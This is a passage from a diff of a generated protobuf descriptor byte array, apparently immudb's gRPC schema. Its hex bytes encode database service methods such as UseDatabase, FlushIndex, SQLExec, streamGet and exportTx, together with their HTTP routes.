0x73, - 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, 0x22, 0x0f, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x12, - 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, - 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, - 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, - 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, - 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, - 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, - 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, + 0x32, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, + 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, + 0x6c, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, + 0x75, 0x73, 0x65, 0x2f, 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, + 0x65, 0x7d, 0x12, 0x63, 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, + 0x3a, 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, + 0x76, 0x32, 0x12, 0x6a, 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, + 0x79, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, + 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, + 0x01, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x14, 0x3a, 0x01, 0x2a, 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x2f, 0x76, 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, + 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, + 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, + 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, + 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, + 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, - 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, + 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, + 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, + 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, - 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, - 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, + 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, + 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, + 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, + 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, + 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, - 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, - 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, - 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, - 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, - 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, - 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, - 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, - 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x5b, 0x0a, 0x0a, - 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, - 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 